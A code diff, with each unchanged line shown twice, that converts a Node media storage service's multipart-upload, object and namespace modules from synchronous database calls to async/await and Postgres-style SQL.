+ if ((await listLocations(obj.id)).some(l => l.provider === 'r2')) continue;
+ for (const l of await listLocations(obj.id)) {
if (l.provider === 'local' && path.resolve(l.key).startsWith(root)) { try { fs.unlinkSync(l.key); } catch { /* already gone */ } }
if (l.provider === 'local' && path.resolve(l.key).startsWith(root)) { try { fs.unlinkSync(l.key); } catch { /* already gone */ } }
- if (l.provider === 'local') db.run('DELETE FROM media_locations WHERE id = ?', [l.id]);
+ if (l.provider === 'local') await db.run('DELETE FROM media_locations WHERE id = ?', [l.id]);
}
}
md.purged_at = new Date().toISOString();
md.purged_at = new Date().toISOString();
- db.run('UPDATE media_objects SET metadata = ?, updated_at = CURRENT_TIMESTAMP WHERE id = ?', [JSON.stringify(md), obj.id]);
+ await db.run('UPDATE media_objects SET metadata = ?, updated_at = ov_now() WHERE id = ?', [JSON.stringify(md), obj.id]);
purged++;
purged++;
}
}
return purged;
return purged;
@@ -687,9 +687,9 @@ function purgeExpired({ retentionDays = config.objects.retentionDays } = {}) {
@@ -687,9 +687,9 @@ function purgeExpired({ retentionDays = config.objects.retentionDays } = {}) {
* also soft-deleted ones until purged) and the reservations of uploads in progress
* also soft-deleted ones until purged) and the reservations of uploads in progress
* (objects/namespaces.usage of the tenant's root, which is the whole tenant).
* (objects/namespaces.usage of the tenant's root, which is the whole tenant).
*/
*/
-function usedBytes(appId, excludeId = null) {
- const app = db.getApp(appId) || { app_id: appId };
- const u = require('./namespaces').usage(app, db.rootNamespace(app), { excludeId });
+async function usedBytes(appId, excludeId = null) {
+ const app = await db.getApp(appId) || { app_id: appId };
+ const u = await require('./namespaces').usage(app, db.rootNamespace(app), { excludeId });
return u.used_bytes + u.reserved_bytes;
return u.used_bytes + u.reserved_bytes;
}
}
@@ -704,9 +704,9 @@ function legacyPublicUrl(obj) {
@@ -704,9 +704,9 @@ function legacyPublicUrl(obj) {
return p ? config.publicUrl + p : null;
return p ? config.publicUrl + p : null;
}
}
-function objectPublic(obj, { locations = true } = {}) {
+async function objectPublic(obj, { locations = true } = {}) {
if (!obj) return null;
if (!obj) return null;
- const locs = listLocations(obj.id);
+ const locs = await listLocations(obj.id);
const out = {
const out = {
id: obj.id,
id: obj.id,
media_ref: { media_id: obj.id },
media_ref: { media_id: obj.id },
@@ -721,17 +721,17 @@ function objectPublic(obj, { locations = true } = {}) {
@@ -721,17 +721,17 @@ function objectPublic(obj, { locations = true } = {}) {
size_bytes: obj.size_bytes,
size_bytes: obj.size_bytes,
content_hash: obj.content_hash || null,
content_hash: obj.content_hash || null,
metadata: parseJson(obj.metadata, {}),
metadata: parseJson(obj.metadata, {}),
- held: isHeld(obj.id),
+ held: await isHeld(obj.id),
// metadata / bytes_verified / playable, from this row and its copies' recorded checks (objects/readiness.js).
// metadata / bytes_verified / playable, from this row and its copies' recorded checks (objects/readiness.js).
- readiness: require('./readiness').compute(obj, locs),
+ readiness: await require('./readiness').compute(obj, locs),
// Developer-project sandbox objects have no public URL: /download hands out signed ones.
// Developer-project sandbox objects have no public URL: /download hands out signed ones.
- public_url: obj.visibility !== 'private' && obj.lifecycle_status === 'ready' && !db.isSandboxTenant(obj.app_id)
+ public_url: obj.visibility !== 'private' && obj.lifecycle_status === 'ready' && !await db.isSandboxTenant(obj.app_id)
? (legacyPublicUrl(obj) || `${config.publicUrl}/o/${obj.id}`) : null,
? (legacyPublicUrl(obj) || `${config.publicUrl}/o/${obj.id}`) : null,
created_at: obj.created_at,
created_at: obj.created_at,
updated_at: obj.updated_at,
updated_at: obj.updated_at,
deleted_at: obj.deleted_at || null,
deleted_at: obj.deleted_at || null,
};
};
- if (db.isSandboxTenant(obj.app_id)) out.sandbox = true;
+ if (await db.isSandboxTenant(obj.app_id)) out.sandbox = true;
// Where the bytes are, never the keys or paths themselves.
// Where the bytes are, never the keys or paths themselves.
if (locations) {
if (locations) {
out.locations = locs.map(l => ({
out.locations = locs.map(l => ({
@@ -31,16 +31,16 @@ function partsRoot() { return path.join(config.objects.path, '.parts'); }
@@ -31,16 +31,16 @@ function partsRoot() { return path.join(config.objects.path, '.parts'); }
function sessionDir(uploadId) { return path.join(partsRoot(), uploadId); }
function sessionDir(uploadId) { return path.join(partsRoot(), uploadId); }
function partFile(uploadId, n) { return path.join(sessionDir(uploadId), String(n)); }
function partFile(uploadId, n) { return path.join(sessionDir(uploadId), String(n)); }
-function getSession(uploadId) {
- return uploadId ? db.get('SELECT * FROM media_uploads WHERE id = ?', [String(uploadId)]) : null;
+async function getSession(uploadId) {
+ return uploadId ? await db.get('SELECT * FROM media_uploads WHERE id = ?', [String(uploadId)]) : null;
}
}
-function activeFor(objectId) {
- return db.get("SELECT * FROM media_uploads WHERE object_id = ? AND status IN ('active', 'completing') ORDER BY created_at DESC LIMIT 1", [objectId]);
+async function activeFor(objectId) {
+ return await db.get("SELECT * FROM media_uploads WHERE object_id = ? AND status IN ('active', 'completing') ORDER BY created_at DESC LIMIT 1", [objectId]);
}
}
-function listParts(uploadId) {
- return db.all('SELECT part_number, size_bytes, sha256, received_at FROM media_upload_parts WHERE upload_id = ? ORDER BY part_number', [uploadId]);
+async function listParts(uploadId) {
+ return await db.all('SELECT part_number, size_bytes, sha256, received_at FROM media_upload_parts WHERE upload_id = ? ORDER BY part_number', [uploadId]);
}
}
/** Exact size of part n (1-based) of a session. */
/** Exact size of part n (1-based) of a session. */
@@ -73,7 +73,7 @@ function freeBytes() {
@@ -73,7 +73,7 @@ function freeBytes() {
* Start a session for `obj` (uploading, size declared). An active session for the object is
* Start a session for `obj` (uploading, size declared). An active session for the object is
* replaced (its parts deleted). Returns the session row, or { error, status, code }.
* replaced (its parts deleted). Returns the session row, or { error, status, code }.
*/
*/
-function initiate(obj, { partSize: requested } = {}) {
+async function initiate(obj, { partSize: requested } = {}) {
const total = Number(obj.size_bytes) || 0;
const total = Number(obj.size_bytes) || 0;
if (!total) return { status: 400, code: 'media.object.invalid', error: 'Declare size_bytes before a multipart upload' };
if (!total) return { status: 400, code: 'media.object.invalid', error: 'Declare size_bytes before a multipart upload' };
if (total > config.objects.multipartMaxMb * MB) return { status: 413, code: 'media.object.too_large', error: `Multipart uploads are limited to ${config.objects.multipartMaxMb * MB} bytes` };
if (total > config.objects.multipartMaxMb * MB) return { status: 413, code: 'media.object.too_large', error: `Multipart uploads are limited to ${config.objects.multipartMaxMb * MB} bytes` };
@@ -83,14 +83,14 @@ function initiate(obj, { partSize: requested } = {}) {
@@ -83,14 +83,14 @@ function initiate(obj, { partSize: requested } = {}) {
const need = 2 * total + config.objects.uploadMinFreeMb * MB;
const need = 2 * total + config.objects.uploadMinFreeMb * MB;
const free = freeBytes();
const free = freeBytes();
if (free < need) return { status: 507, code: 'media.storage.insufficient', error: `Not enough free space for this upload (${Math.floor(free / MB)} MB free)` };
if (free < need) return { status: 507, code: 'media.storage.insufficient', error: `Not enough free space for this upload (${Math.floor(free / MB)} MB free)` };
- const prior = activeFor(obj.id);
- if (prior) abort(prior.id, 'aborted', { release: false }); // replaced: the object's reservation carries over
+ const prior = await activeFor(obj.id);
+ if (prior) await abort(prior.id, 'aborted', { release: false }); // replaced: the object's reservation carries over
const id = `mup_${ids.ulid()}`;
const id = `mup_${ids.ulid()}`;
const parts = Math.max(1, Math.ceil(total / chosen.size));
const parts = Math.max(1, Math.ceil(total / chosen.size));
- db.run(`INSERT INTO media_uploads (id, object_id, app_id, part_size, total_size, parts_expected, expires_at)
+ await db.run(`INSERT INTO media_uploads (id, object_id, app_id, part_size, total_size, parts_expected, expires_at)
VALUES (?, ?, ?, ?, ?, ?, datetime('now', ?))`, [id, obj.id, obj.app_id, chosen.size, total, parts, `+${Math.max(1, config.objects.multipartTtlHours)} hours`]);
VALUES (?, ?, ?, ?, ?, ?, datetime('now', ?))`, [id, obj.id, obj.app_id, chosen.size, total, parts, `+${Math.max(1, config.objects.multipartTtlHours)} hours`]);
fs.mkdirSync(sessionDir(id), { recursive: true });
fs.mkdirSync(sessionDir(id), { recursive: true });
- return getSession(id);
+ return await getSession(id);
}
}
/**
/**
@@ -107,43 +107,43 @@ function receivePart(req, session, n, { expectSha256 = null } = {}) {
@@ -107,43 +107,43 @@ function receivePart(req, session, n, { expectSha256 = null } = {}) {
let got = 0, done = false;
let got = 0, done = false;
const drop = () => { try { fs.unlinkSync(tmp); } catch { /* not written */ } };
const drop = () => { try { fs.unlinkSync(tmp); } catch { /* not written */ } };
const finish = (r) => { if (done) return; done = true; resolve(r); };
const finish = (r) => { if (done) return; done = true; resolve(r); };
- const fail = (r) => {
+ const fail = async (r) => {
if (done) return;
if (done) return;
- const end = () => { drop(); finish(r); };
- if (out.closed) end(); else { out.once('close', end); out.destroy(); }
+ const end = async () => { drop(); await finish(r); };
+ if (out.closed) await end(); else { out.once('close', end); out.destroy(); }
};
};
- req.on('data', (c) => {
+ req.on('data', async (c) => {
if (done) return;
if (done) return;
got += c.length;
got += c.length;
- if (got > want) { req.unpipe(out); req.resume(); return fail({ status: 413, code: 'media.upload.part_too_large', error: `Part ${n} is ${want} bytes` }); }
+ if (got > want) { req.unpipe(out); req.resume(); return await fail({ status: 413, code: 'media.upload.part_too_large', error: `Part ${n} is ${want} bytes` }); }
hash.update(c);
hash.update(c);
});
});
- req.on('aborted', () => fail({ status: 400, code: 'media.object.upload_interrupted', error: 'Upload did not complete' }));
- req.on('error', () => fail({ status: 400, code: 'media.object.upload_interrupted', error: 'Upload did not complete' }));
- out.on('error', (e) => fail({ status: 500, code: 'media.object.store_failed', error: e.message }));
- out.on('finish', () => {
+ req.on('aborted', async () => await fail({ status: 400, code: 'media.object.upload_interrupted', error: 'Upload did not complete' }));
+ req.on('error', async () => await fail({ status: 400, code: 'media.object.upload_interrupted', error: 'Upload did not complete' }));
+ out.on('error', async (e) => await fail({ status: 500, code: 'media.object.store_failed', error: e.message }));
+ out.on('finish', async () => {
if (done) return;
if (done) return;
const sha = hash.digest('hex');
const sha = hash.digest('hex');
- if (got !== want) { drop(); return finish({ status: 400, code: 'media.upload.part_size_mismatch', error: `Part ${n} must be ${want} bytes, received ${got}` }); }
- if (expectSha256 && String(expectSha256).toLowerCase() !== sha) { drop(); return finish({ status: 400, code: 'media.upload.part_hash_mismatch', error: `Part ${n} does not match X-Content-SHA256` }); }
+ if (got !== want) { drop(); return await finish({ status: 400, code: 'media.upload.part_size_mismatch', error: `Part ${n} must be ${want} bytes, received ${got}` }); }
+ if (expectSha256 && String(expectSha256).toLowerCase() !== sha) { drop(); return await finish({ status: 400, code: 'media.upload.part_hash_mismatch', error: `Part ${n} does not match X-Content-SHA256` }); }
// The session may have been completed or aborted while this part streamed in.
// The session may have been completed or aborted while this part streamed in.
- const now = getSession(session.id);
- if (!now || now.status !== 'active') { drop(); return finish({ status: 409, code: 'media.upload.not_active', error: `The upload is ${now ? now.status : 'gone'}` }); }
+ const now = await getSession(session.id);
+ if (!now || now.status !== 'active') { drop(); return await finish({ status: 409, code: 'media.upload.not_active', error: `The upload is ${now ? now.status : 'gone'}` }); }
try {
try {
fs.renameSync(tmp, partFile(session.id, n));
fs.renameSync(tmp, partFile(session.id, n));
- db.run(`INSERT INTO media_upload_parts (upload_id, part_number, size_bytes, sha256) VALUES (?, ?, ?, ?)
- ON CONFLICT(upload_id, part_number) DO UPDATE SET size_bytes = excluded.size_bytes, sha256 = excluded.sha256, received_at = CURRENT_TIMESTAMP`,
+ await db.run(`INSERT INTO media_upload_parts (upload_id, part_number, size_bytes, sha256) VALUES (?, ?, ?, ?)
+ ON CONFLICT(upload_id, part_number) DO UPDATE SET size_bytes = excluded.size_bytes, sha256 = excluded.sha256, received_at = ov_now()`,
[session.id, n, got, sha]);
[session.id, n, got, sha]);
- db.run('UPDATE media_uploads SET updated_at = CURRENT_TIMESTAMP WHERE id = ?', [session.id]);
- } catch (e) { drop(); return finish({ status: 500, code: 'media.object.store_failed', error: e.message }); }
- finish({ part_number: n, size_bytes: got, sha256: sha });
+ await db.run('UPDATE media_uploads SET updated_at = ov_now() WHERE id = ?', [session.id]);
+ } catch (e) { drop(); return await finish({ status: 500, code: 'media.object.store_failed', error: e.message }); }
+ await finish({ part_number: n, size_bytes: got, sha256: sha });
});
});
req.pipe(out);
req.pipe(out);
});
});
}
}
/** Public shape of a session (never paths). */
/** Public shape of a session (never paths). */
-function sessionPublic(session, { parts = true } = {}) {
+async function sessionPublic(session, { parts = true } = {}) {
const out = {
const out = {
upload_id: session.id, object_id: session.object_id, status: session.status,
upload_id: session.id, object_id: session.object_id, status: session.status,
part_size: session.part_size, total_size: session.total_size, parts_expected: session.parts_expected,
part_size: session.part_size, total_size: session.total_size, parts_expected: session.parts_expected,
@@ -151,7 +151,7 @@ function sessionPublic(session, { parts = true } = {}) {
@@ -151,7 +151,7 @@ function sessionPublic(session, { parts = true } = {}) {
created_at: session.created_at,
created_at: session.created_at,
};
};
if (parts) {
if (parts) {
- const list = listParts(session.id);
+ const list = await listParts(session.id);
const have = new Set(list.map(p => p.part_number));
const have = new Set(list.map(p => p.part_number));
out.parts = list;
out.parts = list;
out.received_bytes = list.reduce((a, p) => a + p.size_bytes, 0);
out.received_bytes = list.reduce((a, p) => a + p.size_bytes, 0);
@@ -163,11 +163,11 @@ function sessionPublic(session, { parts = true } = {}) {
@@ -163,11 +163,11 @@ function sessionPublic(session, { parts = true } = {}) {
}
}
/** active -> completing, unless someone else got there first. */
/** active -> completing, unless someone else got there first. */
-function beginComplete(session) {
- return db.run("UPDATE media_uploads SET status = 'completing', updated_at = CURRENT_TIMESTAMP WHERE id = ? AND status = 'active'", [session.id]).changes > 0;
+async function beginComplete(session) {
+ return (await db.run("UPDATE media_uploads SET status = 'completing', updated_at = ov_now() WHERE id = ? AND status = 'active'", [session.id])).changes > 0;
}
}
-function reopen(session) {
- db.run("UPDATE media_uploads SET status = 'active', updated_at = CURRENT_TIMESTAMP WHERE id = ? AND status = 'completing'", [session.id]);
+async function reopen(session) {
+ await db.run("UPDATE media_uploads SET status = 'active', updated_at = ov_now() WHERE id = ? AND status = 'completing'", [session.id]);
}
}
/**
/**
@@ -176,7 +176,7 @@ function reopen(session) {
@@ -176,7 +176,7 @@ function reopen(session) {
* Resolves { bytes, sha256 } or { status, code, error, missing? }.
* Resolves { bytes, sha256 } or { status, code, error, missing? }.
*/
*/
async function assemble(session, dest, clientParts = null) {
async function assemble(session, dest, clientParts = null) {
- const list = listParts(session.id);
+ const list = await listParts(session.id);
const byN = new Map(list.map(p => [p.part_number, p]));
const byN = new Map(list.map(p => [p.part_number, p]));
const missing = [];
const missing = [];
for (let n = 1; n <= session.parts_expected; n++) if (!byN.has(n) || !fs.existsSync(partFile(session.id, n))) missing.push(n);
for (let n = 1; n <= session.parts_expected; n++) if (!byN.has(n) || !fs.existsSync(partFile(session.id, n))) missing.push(n);
@@ -218,41 +218,41 @@ async function assemble(session, dest, clientParts = null) {
@@ -218,41 +218,41 @@ async function assemble(session, dest, clientParts = null) {
return { bytes, sha256: hash.digest('hex') };
return { bytes, sha256: hash.digest('hex') };
}
}
-function finish(session) {
- db.run("UPDATE media_uploads SET status = 'completed', completed_at = CURRENT_TIMESTAMP, updated_at = CURRENT_TIMESTAMP WHERE id = ?", [session.id]);
- removeParts(session.id);
+async function finish(session) {
+ await db.run("UPDATE media_uploads SET status = 'completed', completed_at = ov_now(), updated_at = ov_now() WHERE id = ?", [session.id]);
+ await removeParts(session.id);
}
}
-function removeParts(uploadId) {
+async function removeParts(uploadId) {
try { fs.rmSync(sessionDir(uploadId), { recursive: true, force: true }); } catch { /* best effort */ }
try { fs.rmSync(sessionDir(uploadId), { recursive: true, force: true }); } catch { /* best effort */ }
- db.run('DELETE FROM media_upload_parts WHERE upload_id = ?', [uploadId]);
+ await db.run('DELETE FROM media_upload_parts WHERE upload_id = ?', [uploadId]);
}
}
/**
/**
* Delete a session's parts; the object stays uploading. Its quota reservation is released down to
* Delete a session's parts; the object stays uploading. Its quota reservation is released down to
* what is still stored for it (objects/namespaces.release), unless a new session replaces this one.
* what is still stored for it (objects/namespaces.release), unless a new session replaces this one.
*/
*/
-function abort(uploadId, status = 'aborted', { release = true } = {}) {
- const session = getSession(uploadId);
- db.run("UPDATE media_uploads SET status = ?, updated_at = CURRENT_TIMESTAMP WHERE id = ? AND status IN ('active', 'completing')", [status, uploadId]);
- removeParts(uploadId);
- if (release && session) require('./namespaces').release(session.object_id);
+async function abort(uploadId, status = 'aborted', { release = true } = {}) {
+ const session = await getSession(uploadId);
+ await db.run("UPDATE media_uploads SET status = ?, updated_at = ov_now() WHERE id = ? AND status IN ('active', 'completing')", [status, uploadId]);
+ await removeParts(uploadId);
+ if (release && session) await require('./namespaces').release(session.object_id);
}
}
/**
/**
* Expire sessions past their expiry (incomplete multipart uploads) and remove part directories that
* Expire sessions past their expiry (incomplete multipart uploads) and remove part directories that
* no session owns. Returns { expired, orphan_dirs }.
* no session owns. Returns { expired, orphan_dirs }.
*/
*/
-function purgeExpired() {
+async function purgeExpired() {
let expired = 0, orphans = 0;
let expired = 0, orphans = 0;
- for (const s of db.all("SELECT id FROM media_uploads WHERE status IN ('active', 'completing') AND expires_at < datetime('now')")) {
- abort(s.id, 'expired');
+ for (const s of await db.all("SELECT id FROM media_uploads WHERE status IN ('active', 'completing') AND expires_at < datetime('now')")) {
+ await abort(s.id, 'expired');
expired++;
expired++;
}
}
let dirs = [];
let dirs = [];
try { dirs = fs.readdirSync(partsRoot()); } catch { /* none yet */ }
try { dirs = fs.readdirSync(partsRoot()); } catch { /* none yet */ }
for (const d of dirs) {
for (const d of dirs) {
- const s = getSession(d);
+ const s = await getSession(d);
if (s && ['active', 'completing'].includes(s.status)) continue;
if (s && ['active', 'completing'].includes(s.status)) continue;
try { fs.rmSync(path.join(partsRoot(), d), { recursive: true, force: true }); orphans++; } catch { /* next time */ }
try { fs.rmSync(path.join(partsRoot(), d), { recursive: true, force: true }); orphans++; } catch { /* next time */ }
}
}
@@ -260,8 +260,8 @@ function purgeExpired() {
@@ -260,8 +260,8 @@ function purgeExpired() {
}
}
/** Sessions that are still open (reconciliation: incomplete multipart uploads). */
/** Sessions that are still open (reconciliation: incomplete multipart uploads). */
-function openSessions() {
- return db.all("SELECT u.*, (SELECT COUNT(*) FROM media_upload_parts p WHERE p.upload_id = u.id) AS parts_received FROM media_uploads u WHERE status IN ('active', 'completing') ORDER BY created_at");
+async function openSessions() {
+ return await db.all("SELECT u.*, (SELECT COUNT(*) FROM media_upload_parts p WHERE p.upload_id = u.id) AS parts_received FROM media_uploads u WHERE status IN ('active', 'completing') ORDER BY created_at");
}
}
module.exports = {
module.exports = {
@@ -26,30 +26,31 @@ function problem(res, status, code, detail) {
@@ -26,30 +26,31 @@ function problem(res, status, code, detail) {
return http.sendProblem(res, status, code, { detail });
return http.sendProblem(res, status, code, { detail });
}
}
-function shape(req, row) {
- return namespaces.publicShape(req.appRow, row, namespaces.reconcile(req.appRow, row.namespace));
+async function shape(req, row) {
+ return await namespaces.publicShape(req.appRow, row, await namespaces.reconcile(req.appRow, row.namespace));
}
}
// Reads, with the default per-actor limits (server/actor-limits.js).
// Reads, with the default per-actor limits (server/actor-limits.js).
-router.get('/', tenantAuth({ verb: 'list', namespaced: true }), limits('media.namespace.list'), (req, res) => {
+router.get('/', tenantAuth({ verb: 'list', namespaced: true }), limits('media.namespace.list'), async (req, res) => {
try {
try {
- const rows = namespaces.listForTenant(req.appId).filter(r => namespaceGrant(req, 'list', r.namespace).allowed);
- res.json({ namespaces: rows.map(r => shape(req, r)) });
+ const rows = [];
+ for (const r of await namespaces.listForTenant(req.appId)) if ((await namespaceGrant(req, 'list', r.namespace)).allowed) rows.push(r);
+ res.json({ namespaces: (await Promise.all(rows.map(async r => await shape(req, r)))) });
} catch (err) {
} catch (err) {
console.error('[Namespaces] list error:', err.message);
console.error('[Namespaces] list error:', err.message);
problem(res, 500, 'media.namespace.list_failed', 'Failed to list namespaces');
problem(res, 500, 'media.namespace.list_failed', 'Failed to list namespaces');
}
}
});
});
-router.get('/:namespace', tenantAuth({ verb: 'read', namespaced: true }), limits('media.namespace.read'), (req, res) => {
+router.get('/:namespace', tenantAuth({ verb: 'read', namespaced: true }), limits('media.namespace.read'), async (req, res) => {
try {
try {
const named = namespaces.resolveName(req.appRow, req.params.namespace);
const named = namespaces.resolveName(req.appRow, req.params.namespace);
if (named.error) return problem(res, 400, 'media.namespace.invalid', named.error);
if (named.error) return problem(res, 400, 'media.namespace.invalid', named.error);
- const g = namespaceGrant(req, 'read', named.namespace);
+ const g = await namespaceGrant(req, 'read', named.namespace);
if (!g.allowed) return problem(res, 403, g.code, g.reason);
if (!g.allowed) return problem(res, 403, g.code, g.reason);
- const row = namespaces.get(named.namespace);
+ const row = await namespaces.get(named.namespace);
if (!row || row.app_id !== req.appId) return problem(res, 404, 'media.namespace.not_found', 'No such namespace in this tenant');
if (!row || row.app_id !== req.appId) return problem(res, 404, 'media.namespace.not_found', 'No such namespace in this tenant');
- res.json(shape(req, row));
+ res.json(await shape(req, row));
} catch (err) {
} catch (err) {
console.error('[Namespaces] read error:', err.message);
console.error('[Namespaces] read error:', err.message);
problem(res, 500, 'media.namespace.read_failed', 'Failed to read the namespace');
problem(res, 500, 'media.namespace.read_failed', 'Failed to read the namespace');
@@ -58,12 +58,12 @@ const sqlTime = (ms) => new Date(ms).toISOString().replace('T', ' ').slice(0, 19
@@ -58,12 +58,12 @@ const sqlTime = (ms) => new Date(ms).toISOString().replace('T', ' ').slice(0, 19
// ── Rows ─────────────────────────────────────────────────────
// ── Rows ─────────────────────────────────────────────────────
-function get(namespace) {
- return namespace ? db.get('SELECT * FROM media_namespaces WHERE namespace = ?', [String(namespace)]) : null;
+async function get(namespace) {
+ return namespace ? await db.get('SELECT * FROM media_namespaces WHERE namespace = ?', [String(namespace)]) : null;
}
}
-function listForTenant(appId) {
- return db.all('SELECT * FROM media_namespaces WHERE app_id = ? ORDER BY namespace', [appId]);
+async function listForTenant(appId) {
+ return await db.all('SELECT * FROM media_namespaces WHERE app_id = ? ORDER BY namespace', [appId]);
}
}
/** Is `ns` the namespace `base` or below it? */
/** Is `ns` the namespace `base` or below it? */
@@ -72,21 +72,21 @@ function within(base, ns) {
@@ -72,21 +72,21 @@ function within(base, ns) {
}
}
/** The tenant's rows from its root down to `namespace` (those that exist), root first. */
/** The tenant's rows from its root down to `namespace` (those that exist), root first. */
-function chain(appId, namespace) {
+async function chain(appId, namespace) {
const parts = String(namespace || '').split('.');
const parts = String(namespace || '').split('.');
const names = parts.map((_, i) => parts.slice(0, i + 1).join('.'));
const names = parts.map((_, i) => parts.slice(0, i + 1).join('.'));
if (!names.length) return [];
if (!names.length) return [];
- const rows = db.all(`SELECT * FROM media_namespaces WHERE app_id = ? AND namespace IN (${names.map(() => '?').join(', ')})`, [appId, ...names]);
+ const rows = await db.all(`SELECT * FROM media_namespaces WHERE app_id = ? AND namespace IN (${names.map(() => '?').join(', ')})`, [appId, ...names]);
return rows.sort((a, b) => a.namespace.length - b.namespace.length);
return rows.sort((a, b) => a.namespace.length - b.namespace.length);
}
}
/** Policy in force in `namespace`: the root's, overridden key by key by each child on the way down. */
/** Policy in force in `namespace`: the root's, overridden key by key by each child on the way down. */
-function effectivePolicy(appId, namespace) {
- return Object.assign({}, ...chain(appId, namespace).map(r => parsePolicy(r.policy)));
+async function effectivePolicy(appId, namespace) {
+ return Object.assign({}, ...(await chain(appId, namespace)).map(r => parsePolicy(r.policy)));
}
}
-function isStrict(appId, namespace) {
- return effectivePolicy(appId, namespace).strict_verbs === true;
+async function isStrict(appId, namespace) {
+ return (await effectivePolicy(appId, namespace)).strict_verbs === true;
}
}
/**
/**
@@ -113,9 +113,9 @@ function resolveName(app, requested) {
@@ -113,9 +113,9 @@ function resolveName(app, requested) {
* row, or { error, status, code } when the tenant already has MEDIA_NAMESPACE_MAX_CHILDREN children
* row, or { error, status, code } when the tenant already has MEDIA_NAMESPACE_MAX_CHILDREN children
* or the name belongs to another tenant.
* or the name belongs to another tenant.
*/
*/
-function ensure(app, namespace) {
- const root = db.ensureRootNamespace(app);
- const found = get(namespace);
+async function ensure(app, namespace) {
+ const root = await db.ensureRootNamespace(app);
+ const found = await get(namespace);
if (found) {
if (found) {
return found.app_id === app.app_id ? found
return found.app_id === app.app_id ? found
: { error: `namespace ${namespace} belongs to another tenant`, status: 409, code: 'media.namespace.conflict' };
: { error: `namespace ${namespace} belongs to another tenant`, status: 409, code: 'media.namespace.conflict' };
@@ -123,17 +123,18 @@ function ensure(app, namespace) {
@@ -123,17 +123,18 @@ function ensure(app, namespace) {
if (!within(root, namespace)) return { error: `namespace ${namespace} is not below ${root}`, status: 400, code: 'media.namespace.invalid' };
if (!within(root, namespace)) return { error: `namespace ${namespace} is not below ${root}`, status: 400, code: 'media.namespace.invalid' };
const segs = namespace.slice(root.length + 1).split('.');
const segs = namespace.slice(root.length + 1).split('.');
const names = segs.map((_, i) => `${root}.${segs.slice(0, i + 1).join('.')}`);
const names = segs.map((_, i) => `${root}.${segs.slice(0, i + 1).join('.')}`);
- const missing = names.filter(n => !get(n));
- const children = db.get('SELECT COUNT(*) AS n FROM media_namespaces WHERE app_id = ? AND parent IS NOT NULL', [app.app_id]).n;
+ const missing = [];
+ for (const n of names) if (!await get(n)) missing.push(n);
+ const children = (await db.get('SELECT COUNT(*) AS n FROM media_namespaces WHERE app_id = ? AND parent IS NOT NULL', [app.app_id])).n;
if (children + missing.length > config.objects.maxChildNamespaces) {
if (children + missing.length > config.objects.maxChildNamespaces) {
return { error: `a tenant has at most ${config.objects.maxChildNamespaces} namespaces below its root`, status: 413, code: 'media.quota.namespaces_exceeded' };
return { error: `a tenant has at most ${config.objects.maxChildNamespaces} namespaces below its root`, status: 413, code: 'media.quota.namespaces_exceeded' };
}
}
let parent = root;
let parent = root;
for (const name of names) {
for (const name of names) {
- db.run('INSERT OR IGNORE INTO media_namespaces (namespace, app_id, parent, owner) VALUES (?, ?, ?, ?)', [name, app.app_id, parent, db.namespaceOwner(app)]);
+ await db.run('INSERT INTO media_namespaces (namespace, app_id, parent, owner) VALUES (?, ?, ?, ?) ON CONFLICT DO NOTHING', [name, app.app_id, parent, db.namespaceOwner(app)]);
parent = name;
parent = name;
}
}
- return get(namespace);
+ return await get(namespace);
}
}
// ── Usage and quotas ─────────────────────────────────────────
// ── Usage and quotas ─────────────────────────────────────────
@@ -143,7 +144,7 @@ function ensure(app, namespace) {
@@ -143,7 +144,7 @@ function ensure(app, namespace) {
* reserved_objects }. The root's subtree is the whole tenant, v1 files included. `excludeId` leaves
* reserved_objects }. The root's subtree is the whole tenant, v1 files included. `excludeId` leaves
* one object (and its reservation) out, for re-checking that object.
* one object (and its reservation) out, for re-checking that object.
*/
*/
-function usage(app, namespace, { excludeId = null } = {}) {
+async function usage(app, namespace, { excludeId = null } = {}) {
const root = db.rootNamespace(app);
const root = db.rootNamespace(app);
const whole = namespace === root;
const whole = namespace === root;
const where = whole ? '' : ' AND (o.namespace = @ns OR substr(o.namespace, 1, @plen) = @prefix)';
const where = whole ? '' : ' AND (o.namespace = @ns OR substr(o.namespace, 1, @plen) = @prefix)';
@@ -152,13 +153,13 @@ function usage(app, namespace, { excludeId = null } = {}) {
@@ -152,13 +153,13 @@ function usage(app, namespace, { excludeId = null } = {}) {
// Developer projects (third-party uploaders) pay for soft-deleted bytes until they are purged: they stay
// Developer projects (third-party uploaders) pay for soft-deleted bytes until they are purged: they stay
// on disk for the retention period, and upload -> delete -> upload would otherwise grow the disk.
// on disk for the retention period, and upload -> delete -> upload would otherwise grow the disk.
const retained = app.project_id ? " OR (o.lifecycle_status = 'deleted' AND json_extract(o.metadata, '$.purged_at') IS NULL)" : '';
const retained = app.project_id ? " OR (o.lifecycle_status = 'deleted' AND json_extract(o.metadata, '$.purged_at') IS NULL)" : '';
- const used = db.get(`SELECT COUNT(*) AS n, COALESCE(SUM(o.size_bytes), 0) AS b FROM media_objects o
+ const used = await db.get(`SELECT COUNT(*) AS n, COALESCE(SUM(o.size_bytes), 0)::bigint AS b FROM media_objects o
WHERE o.app_id = @app AND o.legacy_ref IS NULL AND (o.lifecycle_status = 'ready'${retained}) AND o.id != @ex${where}`, p);
WHERE o.app_id = @app AND o.legacy_ref IS NULL AND (o.lifecycle_status = 'ready'${retained}) AND o.id != @ex${where}`, p);
// A reservation counts while its object is still uploading (a settled or failed one never double-counts).
// A reservation counts while its object is still uploading (a settled or failed one never double-counts).
- const reserved = db.get(`SELECT COUNT(*) AS n, COALESCE(SUM(r.bytes), 0) AS b FROM media_quota_reservations r
+ const reserved = await db.get(`SELECT COUNT(*) AS n, COALESCE(SUM(r.bytes), 0)::bigint AS b FROM media_quota_reservations r
JOIN media_objects o ON o.id = r.object_id AND o.lifecycle_status = 'uploading'
JOIN media_objects o ON o.id = r.object_id AND o.lifecycle_status = 'uploading'
WHERE r.app_id = @app AND r.object_id != @ex${rwhere}`, p);
WHERE r.app_id = @app AND r.object_id != @ex${rwhere}`, p);
- const files = whole ? db.get('SELECT COUNT(*) AS n, COALESCE(SUM(size), 0) AS b FROM files WHERE app_id = ?', [app.app_id]) : { n: 0, b: 0 };
+ const files = whole ? await db.get('SELECT COUNT(*) AS n, COALESCE(SUM(size), 0)::bigint AS b FROM files WHERE app_id = ?', [app.app_id]) : { n: 0, b: 0 };
return { used_bytes: used.b + files.b, used_objects: used.n + files.n, reserved_bytes: reserved.b, reserved_objects: reserved.n };
return { used_bytes: used.b + files.b, used_objects: used.n + files.n, reserved_bytes: reserved.b, reserved_objects: reserved.n };
}
}
@@ -174,9 +175,18 @@ function limitsOf(app, row) {
@@ -174,9 +175,18 @@ function limitsOf(app, row) {
